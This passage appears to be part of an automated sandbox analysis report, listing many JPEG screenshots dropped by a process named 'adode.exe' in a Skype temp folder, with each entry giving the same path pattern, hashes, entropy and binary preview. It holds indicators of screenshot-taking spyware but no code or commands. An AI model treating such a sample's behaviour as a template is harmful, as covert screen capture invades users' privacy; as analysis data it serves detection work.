Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241203_011457.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241203_032256.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241203_065344.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241203_094157.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241203_142109.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241203_163814.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241203_191559.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241203_212542.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241203_230119.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241204_015044.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241204_034141.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241204_071935.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241204_105623.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241204_134121.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241204_164122.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241204_184346.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241204_213453.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
